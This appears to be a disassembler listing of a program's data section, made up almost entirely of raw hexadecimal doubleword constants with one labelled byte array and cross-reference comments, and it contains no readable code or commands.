		dd 7BECF7E6h, 79119C4Eh, 0CF8BC075h, 575262FCh,	9C2B38C4h
		dd 0CA6B0818h, 64F8D20Ah, 139AD9E2h, 0CC8221D2h, 1894EF64h
		dd 0DFBF3E05h, 0CC4203B4h, 0B81D3C16h, 1CE19044h, 9402EAFCh
		dd 0B002CD1h, 0B2100638h, 72E81C8Dh, 8EB050F7h,	0B4A513A7h
		dd 6BAF70B0h, 7E50A4DAh, 0A01B50EBh, 3D0374C0h,	1139C512h
		dd 136D4B89h, 0E1484888h, 18175854h, 40CE63CBh,	503F7672h
		dd 0F2A0E332h, 598003Ch, 7BEF8784h, 4BF9D42Bh, 0B3CF0850h
		dd 93ABC0E1h, 0E52B0684h, 2C8244FBh, 0A3E31C82h, 7D78B18h
		dd 15FEEC9h, 9288FCE5h,	85291C1h, 73E16255h, 0E12A885h
		dd 0A89C0B38h, 56650C07h, 5505103Ah, 0C7BBEFB4h, 678A42Eh
		dd 1BEE4B1Ch, 9263F9AAh, 1EFCB260h, 0F15B7210h,	413D5518h
		dd 0F2E7E3B0h, 0C0CF89Eh, 60E470E2h, 75F0921Fh,	1BEC1AC6h
		dd 0E08C509Ah, 19628869h, 4725C2C8h, 67B030CCh,	168BE178h
		dd 7E2B51h, 29B8A5E5h, 0C757B262h, 0D0640244h, 10D1EA12h
		dd 56016E0Bh, 1153593Fh, 703251D7h, 0D5EF7098h,	9FA12621h
		dd 43412EBh, 0DE9D21D0h, 80253A88h, 53871BF0h, 6A306B75h
		dd 5100F00Fh, 0D9E9CB43h, 2B90503Eh, 65520671h,	728081A8h
		dd 2980AAEEh, 3FEBAD2Bh, 0C8C5EAF9h, 60308999h,	31E8E350h
		dd 0ABF1313Ch, 1C59DCEBh, 8018E552h, 909C88A8h,	54E9C732h
		dd 0C7B9C2B4h, 13635E38h, 4210AF50h, 6743D70h, 8F80B045h
		dd 9A8AAF77h, 0AB4002FBh, 0A5064AD4h, 8F013CB2h, 805E211Ch
		dd 0BAB58B0Ah, 0FC41C501h, 60049106h, 22DAA92Eh, 686BD9C0h
		dd 3A450170h, 85097397h, 980275D5h, 0D467E88Ah,	0EDEC4100h
		dd 1BF8E62Eh, 406C4B40h, 0C81871FBh, 0A510A085h, 11242455h
		dd 0BA2858D8h, 0AF61DD7Bh, 87EE2BD8h, 3C03944Eh, 9B69726Eh
		dd 200B680Ch, 2BFEA08Ah, 824C06C8h, 0D884AE7Eh,	0D4EBACA1h
		dd 0B7F9F0B0h, 1974B374h, 80A07B53h, 0FD87F650h, 0CB90C699h
		dd 0D90A3842h, 180DD4CEh, 24D185E0h, 0AB80A813h, 6C539B0h
		dd 2B036056h, 9849ADB9h, 9E8B5814h, 0EF4DC024h,	0B2D36C44h
		dd 0CD2FCF4h, 0B6643996h, 0DCAE8DB8h, 9345FE03h, 8874F6A0h
		dd 24C8BB4Bh, 507459A3h, 6B187B67h, 2B284B87h, 3950C912h
		dd 0AD483014h, 0F37E18B0h, 0F56C0B28h, 1C809C23h, 31135320h
		dd 97CDEB81h, 0C008A441h, 815F898h, 6640A6E5h, 3FA00259h
		dd 2C8CCAD9h, 0AB533CB8h, 0F0471C2Ch, 418BD042h, 0DC202080h
		dd 405B6385h, 409F2359h, 3C510A79h, 0DE601091h,	61BCB0CFh
		dd 4DABC0D1h, 80A42391h, 9A45C7E2h, 8B28C0D0h, 0F93C1F3Fh
		dd 57E0263Bh, 2BE30650h, 23165BCh, 96D58A6Bh, 7467B099h
		dd 5F6DAC83h, 4B89162Bh, 923C02CFh, 5441DF35h, 143C786Ah
		dd 7F98C3D2h, 9BEC2204h, 6882B6FCh, 0A5E5608Bh,	62562633h
		dd 0F4DC5970h, 1F40FAA4h, 0B020302Bh, 0ECF6E738h, 24982E90h
		dd 352E6516h, 0EB19AC16h, 6460E870h, 0AFC23E05h, 953DB0Eh
		dd 6F863B80h, 0D160B21Ch, 10D5CF81h, 59B900C5h,	0D7031BEFh
		dd 6D59B21Dh, 85E30FCh,	14224CC5h, 0B40C8507h, 28E7650Ch
		dd 25626110h, 0C1DF5488h, 0B8617E20h, 0A02884Bh, 0B8E9EE98h
		dd 60583849h, 3626928Ch, 311218AFh, 4D250005h, 19724480h
		dd 5208CCFEh, 820E45A8h, 82C5072Eh, 45921C90h, 0AC7601CCh
		dd 8AEDC259h, 0A890EB60h, 0FA651205h, 116C409h,	8EC38534h
		dd 982705E0h, 629BE850h
		dd 1F64280Fh, 0E09E7863h, 3C6363E8h, 22CB89E8h,	90A53708h
		dd 8E107D3Ah, 0CB0C0D2Ch, 0BBB80C81h, 0C6F9C4A3h, 2620703Bh
		dd 0CE607865h, 0E565B803h, 84884C2Ah, 7BAFF3A0h, 6CF46724h
		dd 0DD31F87h, 4589FCFAh, 65280169h, 0A898D8AEh,	80051079h
		dd 4AC570C1h, 66F00CA7h, 0A0B0C474h, 37308351h,	0D1D4C1ECh
		dd 0A1488947h, 8B08027Ah, 0D4C8C086h, 50149077h, 3345C4A6h
		dd 0C618091Ch, 0BCBB200Ch, 669F1099h, 20013834h, 94A27B18h
		dd 0A0AE0E68h, 0C1A15E0h, 0AC8CE512h, 14611C18h, 0CA5E3A0h
		dd 5420C0F1h, 3322335Bh, 8874A450h, 8AF09E41h, 319BF832h
		dd 31082FD1h, 71DC4182h, 4BA020E0h, 0A40C68DDh,	0C384F0D7h
		dd 859F2520h, 84610828h, 77274518h, 8371D938h, 53028E6h
		dd 0B445087Eh, 24589875h, 0B9819E4h, 7C03F67Ch,	201B8416h
		dd 0DB38DF15h, 4110308Eh, 120CE570h, 72481890h,	4A920C1Ch
		dd 74128D6h, 58BBECFFh,	32DB4121h, 378C2027h, 0B2101109h
		dd 189860E9h, 48C4A06Ch, 0F21C0AA8h, 0AA4BE81h,	38C0B1BDh
		dd 2FE0B051h, 5058C19Ah, 0F4F262E8h, 9B35EE4Ch,	2F0E08BDh
		dd 441240A6h, 33851024h, 0A910AB33h, 24B2583Ch,	6B18E434h
		dd 48D97B30h, 0CA264CF2h, 0EF1B0940h, 57857002h, 0E4D2A840h
		dd 14101325h, 3CD50400h, 0D1E17980h, 437EFCA0h,	0A00AF0B4h
		dd 909338E5h, 14C09214h, 14E48A05h, 10F0357Bh, 1B0CA9BBh
		dd 0F270CFA2h, 0B4A250B8h, 937530A4h, 0F9312044h, 76BBA002h
		dd 20A5C420h, 5326AE09h, 0D29210C8h, 0AB558806h, 8A183320h
		dd 10004450h, 4130BD25h, 0E815772Ah, 3FEC034Ah,	17C0CA46h
		dd 0F79F181Eh, 39B6A07h, 41808F8Eh, 4052DDA9h, 3A491DD0h
		dd 0FC0FACCBh, 5F1EA873h, 0C5FD0D55h, 79EED028h, 4FB118C7h
		dd 78505DC3h, 299C2008h, 7583C3Eh, 0AFDE57BDh, 701446h
		dd 0AC30F40Ah, 9F087A7Dh, 0B3D8FD00h, 0A7559D9Eh, 5F8A3041h
		dd 0DE87EA08h, 0B60EA0C0h, 685D9Eh, 4ECA8BB1h, 0D4AA956Eh
		dd 0DDAC0701h, 0A4186B5h, 0C8872A21h, 8388C6BBh, 0F8180E13h
		dd 0F83823E5h, 0DAE1E922h, 3878A9E4h, 0F780C864h, 454F5AD3h
		dd 0F003F534h, 0A8714B04h, 4654B03Dh, 85071EAh,	0E025AA8Bh
		dd 56CC3BC0h, 0F6A41E2Eh, 9233C0F0h, 386E1DAFh,	2C7D9A0Ch
		dd 0CF78781Fh, 20D48A88h, 0A1F8CAh, 0F34CABE8h,	97511CC4h
		dd 65341894h, 8F00F5F6h, 24F3443Dh, 1D9B3CA6h, 32FE69Dh
		dd 0A87454DDh, 0AC13E0A7h, 0B505B8FDh, 52013DAFh, 5BE7E007h
		dd 0CA2B5DC0h, 7D4A1446h, 54249818h, 0E0B39500h, 18111018h
		dd 1490E1AEh, 0D8EE8A28h, 0A41C1D28h, 6420CB6Fh, 801FBAh
		dd 19A8DD6h, 9B3AC4BDh,	9039A37Dh, 0FD15AA90h, 81388804h
		dd 449084C0h, 1BAAEA18h, 0C5426468h, 0CED2660h,	2A9852B4h
		dd 81A0B33h, 9DA9C82Bh,	0E07363FFh, 8377663h, 0B2828092h
		dd 0C63040EDh, 0F008C62Ah, 9933C853h, 0B6E73840h, 18446329h
		dd 7DE159C8h, 1238BA36h, 440715D7h, 3DC35C5Eh, 662170AAh
		dd 706E3051h, 28C62DF8h, 0F80829FDh, 3C1648FFh,	9D103730h
		dd 18C6E96Dh, 3370464Ah, 8A80E162h, 0E0C91110h,	0AAAF064Eh
		dd 7A98083Fh, 21480961h, 4BD19F01h, 496A7C20h, 0CD24B062h
		dd 0A33D0870h, 8E38A0Ch, 743549EAh, 0F0737B7Fh,	20E965F4h
		dd 0CAD40222h, 69039248h, 18681428h, 2602E014h,	740A40B2h
		dd 806E48Fh, 6531A0E7h,	0F53770CAh, 0F653A88Ah,	0E8751BA8h
		dd 10F726A7h, 90047D32h, 0E4A44862h, 266AE85Eh,	0F046CB8h
		dd 0A83B4E3h, 8AE0BE0Bh, 0A8CC8FE9h, 314A88CAh,	2770FCBDh
		dd 0D4BC4135h, 8210BCE5h, 8192C48Fh, 0B3184082h, 12C51239h
		dd 0A08470ACh, 2424969Bh, 840998BFh, 0FBE43816h, 82D19A7h
		dd 0F9E420BCh, 0F4DC423Ah, 0A7D9840h, 24DDE0C5h, 3FBF2C30h
		dd 443444C3h, 0DD38BD61h, 0EC433E77h, 34387B14h, 8AF0B32Ch
		dd 0AB097C20h, 333C213h, 0B530A4D0h, 68F1940Dh,	0C9B2EDD0h
		dd 0B4805BD8h, 47B469CAh, 0D24458E9h, 558C0B2Ch, 0AB048833h
		dd 754826C7h, 60B02848h, 6D81C029h, 1499EA84h, 0EB5E4A40h
		dd 40BD6FC0h, 0CCB4D56Fh, 58A670h, 0E9E83A53h, 0C4F0C996h
		dd 0CC0D848h, 0E8FA520Ah, 80EF48B3h, 74D81328h,	12D4901Dh
		dd 0F7E452Ah, 0D8D9BBC0h, 0D8CC2153h, 818074CEh, 8D38C940h
		dd 4BD1BC23h, 72949DE0h, 0D5EA8B00h, 227D9C45h,	8A950E77h
		dd 1D828EA3h, 0C065B4h,	9C785996h, 0AF934F00h, 40ADC07Dh
		dd 90C9EEAAh, 72D8034Ch, 669ACA95h, 0D9A02CA5h,	99FB800h
		dd 0FC6E60F3h, 36CF0786h, 2E923715h, 0BD9A880h,	0D8074882h
		dd 9824421Ah, 8CE702F1h, 13FFA2FCh, 0BE50374Bh,	81CFCF00h
		dd 0E83A26D9h, 5C6E3061h, 0E89537FAh, 0D5296474h, 968118FEh
		dd 7DC22EF7h, 9768BC00h, 155370Ah, 92401450h, 0FA800257h
		dd 1C6E0CB0h, 0E6A0C9F0h, 18908A66h, 0A6750560h, 604982A5h
		dd 3AF36A20h, 344D5E00h, 68B67C6Eh, 4CB50A37h, 0E064D91Fh
		dd 9EEB9A34h, 0DC304C60h, 1A3102C7h, 385E1FD5h,	2D091830h
		dd 647F8F00h, 473C6DB7h, 530E98ABh, 0DD0044DBh,	63BEDCCCh
		dd 9C186C11h, 97B8C85Eh, 2835E8AAh, 0FE946529h,	62DE0020h
		dd 0C2DF0731h, 32146F84h, 0C13C7475h, 0E99CB512h, 8AA3FC10h
		dd 586848CCh, 83DD3095h, 15E06E40h, 2D3E2273h, 33C11932h
		dd 0F0470808h, 8E44CCEh, 0F9A7CF2h, 0DF124DB5h,	14DB4280h
		dd 0FA629362h, 3B40D10h, 0A2E0DEE3h, 0E2F0B277h, 68C705FAh
		dd 82C1B529h, 0A2E0EB71h, 163F3EA7h, 18E3D33Fh,	401EF842h
		dd 243FD85h, 0C1163A4Dh, 0E2D0472Eh, 0DE1D06EBh, 207C91C2h
		dd 0FFD04141h, 0E3CBF922h, 8182E27Fh, 1630FD04h, 80310BE0h
		dd 10C7B65h, 0A0ECCDF5h, 10A14810h, 1F9E747Fh, 3CE03262h
		dd 0F0E37D18h, 448FFE4h, 0FFA3A4Ch, 0E6C4B815h,	1A85D95h
		dd 0BE2E742h, 9BE97762h, 0C2E8BEC0h, 0C28083C4h, 21818D6h
		dd 9F4228E5h, 0CAABF840h, 3F9C4609h, 70DD6370h,	55A1D5F0h
		dd 955D3061h, 0E8E1CDEAh, 0F8F9024Bh, 150E8D2Bh, 3D06442h
		dd 0E1F8D135h, 288353F5h, 4A6D7B5h, 0D8FBC6C4h,	0C2F8CC61h
		dd 0E08A1BA9h, 0D9845B7h, 0F528A0A6h, 0BBE080A3h, 3AE21599h
		dd 89A4A019h, 55310EFEh, 0F58001FAh, 0B505D723h, 15384867h
		dd 33E87936h, 0F9B8E9F7h, 0B5E50920h, 10C497F0h, 0EC8E4ED8h
		dd 0C7C83C3Ah, 44C6824h, 84AC325Ch, 0F0146010h,	4520CC59h
		dd 9BBC3A66h, 0E0523448h, 47E3080h, 28C96943h, 1E8821Ch
		dd 5314B035h, 0B0AF482Fh, 73197C80h, 0F54CB501h, 62C4761h
		dd 129E80DBh, 11DC1881h, 89D0F886h, 0CEFC4090h,	71028098h
		dd 0F5A2D832h, 9E88076Ah, 848A0C9Fh, 0C27C4110h, 0ACA0ADE4h
		dd 4898EF95h, 61DAB51Dh, 8BA5013Ch, 0F6BFF532h,	0A6C0BC40h
		dd 460AE05h, 31BC611h, 2024D167h, 0A6010E95h, 5E4F7EF8h
		dd 88D60126h, 0C1CEB089h, 81C78C84h, 208AE2E8h,	82682ACh
		dd 630300A2h, 0CB42DFEEh, 35C0328Dh, 2C656208h,	39D87B01h
		dd 60865FC7h, 0B8FD32FCh, 0D5A85150h, 6C087124h, 30807E14h
		dd 35312442h, 888E504Ch, 13D0902Ah, 25A5FC2h, 31ED5870h
		dd 1B819C65h, 0F7795A07h, 285C4060h, 31A41559h,	0E358933Ch
		dd 0EEA4415Bh, 0C54C3077h, 82D83405h, 148E4DCCh, 9828DE1Ch
		dd 4ABCB9AEh, 0E2901C64h, 95C214C0h, 94DEF167h,	98E00CA8h
		dd 1C897340h, 8238B363h
		dd 0E20813B8h, 0F5D0093Fh, 0DC94580Eh, 686023B2h, 0AD585E22h
		dd 88642030h, 9007C710h, 0DC4CA858h, 0C0724C1Bh, 49287E37h
		dd 20058C14h, 497DA1DAh, 3D3C4080h, 1532129Eh, 0D8E0102Ch
		dd 0FE47BAB0h, 285EF020h, 26D4139Ch, 9404495h, 4C0A9082h
		dd 0C4385924h, 99C6EECDh, 263094FCh, 904A8C2h, 8A55895h
		dd 0EA683073h, 4B59A3C4h, 5B5C13A8h, 67428C01h,	0CC4B0BF9h
		dd 0F7D02A01h, 211601Eh, 2C0602Fh, 52E0B0EFh, 848E8082h
		dd 31164A3Bh, 8404AE1Ch, 0A8D35002h, 35981AABh,	8C650856h
		dd 4E85539Fh, 0E803F218h, 24EB787Ch, 89840640h,	201C5131h
		dd 9A957405h, 0D453627Ch, 8002584Ah, 0A1FFAB51h, 3C0158CDh
		dd 1C582121h, 70091D14h, 25CFF53h, 0C2179C0Ch, 9578395Ch
		dd 92AF40ECh, 0D6FC02FCh, 0BC7502AAh, 66260C0h,	0A09108B8h
		dd 0B7894A60h, 70789227h, 0E7A4405Ch, 0C08E869h, 261BF833h
		dd 58800BDAh, 61243069h, 0BC8B347Bh, 42EC826Dh,	0A570C36Fh
		dd 8B21860h, 5AD52069h,	48D40B7h, 35912455h, 0FF5F7164h
		dd 54C9A81h, 3AD18C2Ch,	0F8A89C86h, 12DC2CD4h, 0B0F50B58h
		dd 7D758801h, 9FD8428Bh, 0E0D4F8AEh, 299AE218h,	309863E6h
		dd 7E581158h, 0E06E9826h, 0D803D21Fh, 0A5BCBBE2h, 240EF0CBh
		dd 36E0C1A1h, 13C6C0Eh,	7160A765h, 0B215B080h, 4378CC8Eh
		dd 65499538h, 78EE2CD4h, 0F0B7B50Ch, 70AE6915h,	806F1086h
		dd 5BA75A05h, 9C70DA6Ah, 5E8A9252h, 9C23F0A9h, 0B94B74Dh
		dd 160BEF59h, 309B06A0h, 3060BB1Bh, 91DDFC18h, 918E0AF0h
		dd 0C115C778h, 205AAD2Fh, 9C515C5Ch, 0C0542298h, 823BE11Fh
		dd 0BC58C454h, 0F4750ED9h, 0C1F842B4h, 646A7D27h, 0EE1CB982h
		dd 40B8375Dh, 0C30B7DE7h, 0E24674Ch, 328464BCh,	768D1CC8h
		dd 43830010h, 7EB3E033h, 0AB00EB8Ah, 65BA863Eh,	0E8B05009h
		dd 0A314A08Eh, 404610CEh, 79E010Fh, 52A965C0h, 0C8B06B1Ch
		dd 2826FF30h, 2B99197Eh, 1288965h, 5E642BBEh, 0EDDE016Bh
		dd 1C532901h, 6FE20020h, 0AECCF012h, 65E445BEh,	8359C923h
		dd 0FDA30937h, 121E790Ah, 0FD5064C0h, 4E52107Bh, 30FE0A1Eh
		dd 0AC503CBEh, 70DE2AF4h, 505E1B8Ch, 7FF0C835h,	1100E968h
		dd 0BC49366h, 31E48DB5h, 39485AC9h, 5784A5Bh, 6C798BB7h
		dd 0D9E4B420h, 660701B8h, 0CCC96F1Dh, 42088C27h, 0C78CE053h
		dd 2CF88908h, 78C38270h, 0E74CFA09h, 8D030C80h,	0F0C4FC04h
		dd 0ABFD2949h, 87E30038h, 0C01EBAD6h, 739EA414h, 70F6F0D8h
		dd 8A793088h, 561C7E28h, 5947C7F6h, 6BA57D02h, 0DE027EA2h
		dd 0E99C803Eh, 8664B772h, 2E30020Ch, 4BE51DEh, 67B92B69h
		dd 0E8847051h, 293863CCh, 4842CE1Eh, 0DB66C0ECh, 0D1C227h
		dd 4FEA4BAh, 0D8A964B6h, 0C3907451h, 5D491002h,	0B0E7BE8Ah
		dd 1823CE48h, 40DB5999h, 0F600FB5Eh, 308F0492h,	0A6653D78h
		dd 54EB0C18h, 3E71455Fh, 683BDF03h, 0A572EC49h,	0D1C7870h
		dd 9E02441Dh, 0BDFAD310h, 78469FB0h, 58D79D30h,	0A09BAB7Eh
		dd 242606C8h, 53182488h, 14A46198h, 0DE30D860h,	9168414Bh
		dd 0C453602Ch, 0F6A2E4D7h, 6B3B801h, 2E04BB8h, 0BF462BBCh
		dd 1640E1Eh, 387C8EBBh,	3FCB0C5Dh, 24FE2846h, 701C724Eh
		dd 262A5AB5h, 5E129486h, 0B838C742h, 26520A0Ah,	81A8CC60h
		dd 27BE68A2h, 0C7088D95h, 44181143h, 3079F278h,	9E38CE59h
		dd 0BE0C96F9h, 3062EBA7h, 0BC912B29h, 0AE508174h, 8A0F20h
		dd 1178227Eh, 0C3516968h, 0F2AD0DCEh, 85DE007Dh, 0E41D386Eh
		dd 40977B6h, 72B00E64h,	0A31AC28h, 0D3C5D124h, 2E4480B8h
		dd 0CFEC7BDh, 2834D224h, 759A150h, 3FF1C19Eh, 69E98CFCh
		dd 8528606Eh, 8244D85h,	8D0468h, 58DD7E93h, 4E9133B4h
		dd 6E885300h, 59386973h, 0B3F8CAh, 0CE794A51h, 0E6D1189Eh
		dd 0EF6D5000h, 7DC1104h, 94705C12h, 7861F118h, 44003A40h
		dd 0E322F2F5h, 74AADB2Eh, 5980F5D9h, 0BD4B2019h, 0D0E809Ch
		dd 0EE700709h, 0E798A384h, 498002Bh, 15FD5C26h,	74014FA9h
		dd 9B727F0Eh, 20803049h, 0F738DC4Bh, 0BF03A314h, 39AA5747h
		dd 0BA481077h, 3883C09Fh, 21F2BFA0h, 0E3089B67h, 0DE7E0002h
		dd 43110938h, 0CD2D8300h, 6E0D4281h, 71650252h,	7286B068h
		dd 1E17A8A1h, 0E411EC05h, 301C2007h, 0DC40E2E1h, 0E06067B8h
		dd 3F0600E8h, 44B508F3h, 0A1E49039h, 0B385E500h, 0BACB7A29h
		dd 0BC714Dh, 8E922693h,	6B13987h, 0E0E1F600h, 6A6F8BC3h
		dd 2D5A2A68h, 0F934023Ch, 21542497h, 81BD0218h,	5F06C82Eh
		dd 6BF51603h, 0C06166A1h, 6211C383h, 4475E84Dh,	0F0921448h
		dd 0B5A94C00h, 9224F1Eh, 0EC11EE6h, 0C00B9B1h, 10774D49h
		dd 54806569h, 0C5C30047h, 3BFEA150h, 0BD0035A0h, 83E8BE2Fh
		dd 7B305F9Ch, 31706061h, 0F0E2253Fh, 0BCB6D900h, 97237CC8h
		dd 7913002Dh, 0D8FDA076h, 880037ABh, 85C20D87h,	30268ABAh
		dd 51A04FAFh, 149070FAh, 602C310Fh, 3EB1A00Fh, 1C27581Ah
		dd 0C0211E93h, 0D6530625h, 92F64050h, 523C1B0Eh, 6FAA4733h
		dd 0DA86DFE3h, 0F4A0ACAEh, 0CEEA0096h, 0E48031A0h, 67507704h
		dd 0C321FBF0h, 0F9030075h, 268C1178h, 0B9332086h, 51C1D71h
		dd 0DFEC4CF3h, 208B7A01h, 0C3F882h, 0BBB0B750h,	6490EA33h
		dd 92D31000h, 0DFD9C41Dh, 0B6B92499h, 0F7F880BCh, 0FA7D9DB1h
		dd 0B548B202h, 2083FC6Ch, 7EF62F44h, 0E005AC00h, 0CFEBFF35h
		dd 164A00CBh, 0A829D025h, 0FDF10F30h, 0ACFCD037h, 17991009h
		dd 8858173Bh, 56042E8h,	27959DBh, 548A46B3h, 0A840A91Eh
		dd 4828D658h, 90CB038h,	58B1C1E2h, 0E7E90076h, 3198B486h
		dd 0C700910Ah, 85DA196h, 650713h, 798516A2h, 56CAEEEFh
		dd 3A7AFF0Ah, 0C91FF04Ch, 0A745AB00h, 2E77B6Ah,	0DD42AF92h
		dd 2040639Eh, 0AB000B76h, 0FD9CD61h, 0D70DBDh, 0ED44C3C9h
		dd 18B74D78h, 3724FC00h, 9ACB3827h, 4FAB0012h, 0C544EFF8h
		dd 0FF010454h, 0D9A2E94Eh, 64D02A48h, 1A7B70h, 0D4277DCFh
		dd 83984FA5h, 0BAAFA603h, 0F0C956FEh, 1C71FB5h,	4F3C88A2h
		dd 40A711F3h, 0F75471E1h, 8C50400h, 0EA76488Eh,	0F8EC00B7h
		dd 5B74799Dh, 0BD0C6C1Fh, 82384B4Eh, 12EA16h, 0B1970F2Bh
		dd 9A55D17Fh, 0C885A000h, 0BC51E62Ah, 0FEF800BBh, 0B7D7399Eh
		dd 5A003A91h, 3FFC695Ch, 198552Ah, 82780F8Ch, 0FC293BF1h
		dd 8C01D15h, 985F5B1Ch,	7A99056h, 0EBB5CCB7h, 0DE58B049h
		dd 0AB00B072h, 0C11BF27Ch, 0F173C3h, 0B256DCBAh, 0ACAA2E9Fh
		dd 0D9A3E200h, 58709DF6h, 4E8D1DDDh, 551CC093h,	725CBB7Ah
		dd 10C090FAh, 0D71AF1F8h, 0A0B50365h, 9EF0CE2Dh, 334B26A0h
		dd 47AF5500h, 62692A1Dh, 100A139Fh, 3EBC036Dh, 0CBF01231h
		dd 554C2961h, 80810046h, 91B1EE68h, 9900034h, 1AC928DEh
		dd 40073F1Dh, 0B6FC7050h, 0D2E5A10h, 0AC84A0EEh, 350E0089h
		dd 52BD7BB4h, 0D13A9C60h, 0AC94541Eh, 316C7707h, 0FE20E31Ah
		dd 19BF81h, 3F203871h, 4229B9FFh, 160FEEE8h, 0A022AFC9h
		dd 9B591F06h, 53400096h, 97C6A1F6h, 5E7ABD07h, 7547D114h
		dd 1DB78780h, 4DA5D770h, 0D13084D3h, 45A1D8ACh,	0A737071Dh
		dd 71C2EF47h, 80A419DFh, 0BEEC8248h, 0F872A6h, 0C370D441h
		dd 7EC1BBAEh, 0F4C61700h, 897D6F80h, 86C707F8h,	60846C73h
		dd 0CAC82BF5h, 9153771Eh, 7FAC5FC0h, 3B618886h,	1100049Eh
		dd 3AB639A0h, 0C800792Eh
		dd 6096D763h, 1402361h,	8D82CF47h
		db 54h
byte_530055	db 0C9h, 0B0h, 80h	; DATA XREF: ___:off_4380E4o
					; ___:off_4380FCo
		dd 0D60DE181h, 1F9BCDh,	6CFDDF68h, 945C4B2h, 0BA208060h
		dd 3CBD565h, 0A38491C7h, 8187323h, 60207F52h, 0BCDB00CFh
		dd 3618C579h, 1200514Ah, 0D0FE5D78h, 399A762Eh,	7F80A920h
		dd 95808D2Fh, 3D00BCF8h, 17071DBh, 31D904Dh, 50E19C12h
		dd 5800440Dh, 0F2872D9Ah, 76C28Bh, 12AB0272h, 7779B50Eh
		dd 8D7AFDFCh, 528C4303h, 807F7610h, 1DD8A3D5h, 8032B7B8h
		dd 9AE0E298h, 86000DD6h, 0CFDE22C9h, 6FF2B121h,	5028E8E1h
		dd 55D53760h, 30724658h, 395A311Ch, 85C306D5h, 0D0BD9A7Ch
		dd 41A9CA81h, 0BF2332A4h, 55E00129h, 995FC5E3h,	202100F3h
		dd 0E476A728h, 830022FFh, 150538EAh, 0C83FA1h, 4C48BE72h
		dd 718D92CAh, 6E3D3507h, 0C0AF5336h, 81554DFAh,	0F49F0077h
		dd 93C26078h, 5300C414h, 0CF26724Eh, 0D64AE62h,	21D1AC4Ch
		dd 7FA68030h, 0CD944FFAh, 77380E1Dh, 6B80EFC9h,	477C5451h
		dd 98FBC100h, 999A14E6h, 118F1C61h, 0B72A0031h,	0A66702C2h
		dd 0C0BA9E06h, 89CFB2h,	0AC690F9Ch, 1336EC94h, 31F7E51Dh
		dd 91213418h, 0B6680196h, 0ECC6BDDh, 0F820F17Ch, 0BD008B58h
		dd 40FB9571h, 0D76F8Eh,	413DB81Bh, 0AA93CA3Eh, 1FECA7E8h
		dd 6D359501h, 0FA435F21h, 0E849BBC0h, 3403EFBAh, 2A553980h
		dd 80EA5A3Eh, 0B808AF74h, 42DD92h, 1A5C5760h, 0CC40076Bh
		dd 20A86E00h, 1E7F3E62h, 0B6C50014h, 0AB3CA94Dh, 8C6AE13h
		dd 120692Ch, 6BC47A7Eh,	0C77090A2h, 0DD529100h,	0B12B2994h
		dd 0D15C005Fh, 81588D97h, 0E3A9814h, 9E2D00ADh,	8560BF5Ah
		dd 1078C872h, 8C3B2EC0h, 4239754Dh, 687710ACh, 0C5195C0Fh
		dd 80409360h, 761254C7h, 0D206D91Eh, 0F9A170h, 56AB130Ch
		dd 318A655Fh, 373CCC0Fh, 7D986048h, 186B9768h, 0B8802E1Ah
		dd 0B20C401Ch, 107F880Ch, 5A9D135Eh, 27E607DFh,	2280936Dh
		dd 3DFBA8A3h, 5A1C53B8h, 24B30960h, 0F94E738Ch,	4F400EFBh
		dd 0F0E03B2Fh, 0D3F65B4Dh, 0FB367E00h, 5D9143D0h, 986C37B8h
		dd 4FC300F8h, 0DC535886h, 92DE10F0h, 93469C0h, 4F43BF21h
		dd 0D0215B30h, 2EF435B2h, 60ECB903h, 104D7BF6h,	0C1168DD0h
		dd 0FF145FB8h, 2068C8A2h, 0FE003B49h, 54165FC9h, 0E4BE717h
		dd 37BC692Fh, 0F0C29F60h, 52003B27h, 0E22213E0h, 75C02EEEh
		dd 4016151Ch, 5410A03Dh, 5A0FC003h, 0A438BC25h,	808B7F38h
		dd 5A0730E1h, 0EE4E0499h, 90A01440h, 41C302C4h,	0FC5739FEh
		dd 195406FFh, 0F91E0050h, 5F7795EAh, 20544702h,	8A00ECDCh
		dd 0AC96B494h, 0E2F4881Dh, 0FC78A0h, 5EA40CCh, 2914C781h
		dd 0B49D8009h, 0CA343054h, 48B004C6h, 21AB3359h, 8008C2Fh
		dd 300C51Dh, 0E60E07E9h, 1BF4718h, 0C17054B6h, 0E83A672Ch
		dd 0B759E3Dh, 0E3AB9D00h, 9174FD07h, 0B5AF0FB3h, 3A5D085Bh
		dd 117E2B98h, 0D23E9909h, 0D6D9D051h, 0A532231Dh, 0EF217718h
		dd 79D904FBh, 80EA3022h, 92C50A31h, 8DE81207h, 0F70EE7Ch
		dd 14B5A97Bh, 0C4988790h, 7DCD0400h, 2CA1CE4Ch,	1E71F500h
		dd 9475C0F4h, 5CD47768h, 0B8006083h, 804BF7Ch, 6E1695A9h
		dd 60017211h, 58AA7D0Eh, 16A1088Ch, 775F520h, 24CC6A00h
		dd 6BCA9CA3h, 253A1D47h, 0EB0A832Bh, 92E0E535h,	90C00486h
		dd 302E3C84h, 119A004Ch, 252BDFB6h, 18016FBFh, 0FDC033AFh
		dd 4AC0EDFAh, 68F8140Dh, 8808900Eh, 0E0417DEEh,	36D464D9h
		dd 548085B3h, 6EFBD949h, 0F9EE01ABh, 0B2E1BC44h, 0FFA4CCFEh
		dd 28DA9C30h, 0EC0FA2A9h, 8DEE00B3h, 599F3185h,	9619C542h
		dd 6E7809BDh, 0D33AEA18h, 0CC46AB5Ah, 18C42B08h, 7414980Eh
		dd 0B0031877h, 0E3C8DBB6h, 4A60011Fh, 0E6CBEF24h, 7BB4409Ch
		dd 2B5BEA3Fh, 1D7763E0h, 0B9E8E9h, 2272F63Eh, 1600BAE6h
		dd 0AF5FCC4h, 4C40DCAFh, 700016D9h, 3A66DDD3h, 0FB006A8Dh
		dd 6DAF20B8h, 78E4E3h, 4CA283E8h, 5A7E6B9Bh, 6ECDF003h
		dd 0F8E1F41Fh, 176192FBh, 741E97Bh, 309B939Fh, 35B32527h
		dd 0C9157400h, 31B4A8C4h, 1A430061h, 739620A6h,	3B00D634h
		dd 0EF84B6F9h, 0E749C95h, 5B51AFF5h, 9114C05Fh,	0EB56BEDDh
		dd 4BF36701h, 0BB64285Ah, 0E177B541h, 3D0C21D4h, 0DC03C65Dh
		dd 8DDEC876h, 8CB21815h, 841FFB04h, 57268022h, 0ABDF41Ah
		dd 93A07500h, 0B9E40212h, 313E615Eh, 9E618439h,	370F8838h
		dd 7278E1E5h, 0BCF29D3Eh, 0E6092934h, 2FBA584Ch, 0DB106460h
		dd 28CA5Dh, 5FE0980Fh, 0D26B0574h, 5C43B63Eh, 0C50C409Eh
		dd 91640886h, 61080BE9h, 3844426Ah, 44181910h, 834207F4h
